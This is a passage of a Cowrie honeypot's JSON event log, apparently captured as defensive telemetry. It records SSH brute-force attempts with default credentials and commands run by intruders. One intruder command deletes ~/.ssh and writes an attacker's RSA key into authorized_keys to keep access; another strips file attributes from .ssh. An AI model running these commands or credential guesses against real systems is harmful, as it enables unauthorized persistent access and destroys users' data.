sh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:04.052473Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12345","message":"login attempt [oracle/oracle12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:04.958003Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:05.461239Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:05.465097Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:05.468839Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:05.690742Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.174553Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.179584Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.402392Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.407452Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":16678,"dst_ip":"10.17.0.5","dst_port":22,"session":"12db130cf6a2","protocol":"ssh","message":"New connection: 101.36.119.184:16678 (10.17.0.5:22) [session: 12db130cf6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.619728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.625909Z","src_ip":"101.36.119.184","session":"12db130cf6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:06.846120Z","src_ip":"101.36.119.184","session":"12db130cf6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:07.750042Z","src_ip":"101.36.119.184","session":"12db130cf6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:08.972473Z","src_ip":"101.36.119.184","session":"12db130cf6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":17678,"dst_ip":"10.17.0.5","dst_port":22,"session":"b869eb8314a7","protocol":"ssh","message":"New connection: 101.36.119.184:17678 (10.17.0.5:22) [session: b869eb8314a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:09.177444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:09.181768Z","src_ip":"101.36.119.184","session":"b869eb8314a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:09.397673Z","src_ip":"101.36.119.184","session":"b869eb8314a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:10.290374Z","src_ip":"101.36.119.184","session":"b869eb8314a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:10.510076Z","src_ip":"101.36.119.184","session":"b869eb8314a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:10.515237Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced36546ef00","protocol":"ssh","message":"New connection: 189.46.1.73:36726 (10.17.0.5:22) [session: ced36546ef00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:22.224484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:22.231153Z","src_ip":"189.46.1.73","session":"ced36546ef00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:22.416522Z","src_ip":"189.46.1.73","session":"ced36546ef00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odooodoo","message":"login attempt [odoo/odooodoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:23.125991Z","src_ip":"189.46.1.73","session":"ced36546ef00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:24.324784Z","src_ip":"189.46.1.73","session":"ced36546ef00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.23561382293701,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:29.349954Z","src_ip":"212.55.149.117","session":"bc1fa31c226d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.84234285354614,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:45.518462Z","src_ip":"212.55.149.117","session":"639fa07eb270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36588,"dst_ip":"10.17.0.5","dst_port":22,"session":"58387010314b","protocol":"ssh","message":"New connection: 2.57.122.210:36588 (10.17.0.5:22) [session: 58387010314b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:50.716099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:50.756916Z","src_ip":"2.57.122.210","session":"58387010314b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:50.888889Z","src_ip":"2.57.122.210","session":"58387010314b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:51.599685Z","src_ip":"2.57.122.210","session":"58387010314b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:52.716860Z","src_ip":"2.57.122.210","session":"58387010314b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":32296,"dst_ip":"10.17.0.5","dst_port":22,"session":"997546b176fb","protocol":"ssh","message":"New connection: 101.36.119.184:32296 (10.17.0.5:22) [session: 997546b176fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:53.051834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:53.058238Z","src_ip":"101.36.119.184","session":"997546b176fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:53.277044Z","src_ip":"101.36.119.184","session":"997546b176fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abcd1234","message":"login attempt [testuser/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:54.175532Z","src_ip":"101.36.119.184","session":"997546b176fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:55.396430Z","src_ip":"101.36.119.184","session":"997546b176fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a296e5bde1a","protocol":"telnet","message":"New connection: 212.55.149.117:43118 (10.17.0.5:23) [session: 2a296e5bde1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:58.284981Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":48678,"dst_ip":"10.17.0.5","dst_port":22,"session":"3365b6334c5e","protocol":"ssh","message":"New connection: 101.36.119.184:48678 (10.17.0.5:22) [session: 3365b6334c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:00:44.192457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:00:44.198123Z","src_ip":"101.36.119.184","session":"3365b6334c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:00:44.420227Z","src_ip":"101.36.119.184","session":"3365b6334c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345qwert","message":"login attempt [postgres/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:00:45.328755Z","src_ip":"101.36.119.184","session":"3365b6334c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:00:46.550842Z","src_ip":"101.36.119.184","session":"3365b6334c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.301995038986206,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:00:59.586826Z","src_ip":"212.55.149.117","session":"2a296e5bde1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00549602508545,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:02.851003Z","src_ip":"212.55.149.117","session":"3ec3b9e1195f","protocol":"telnet"}
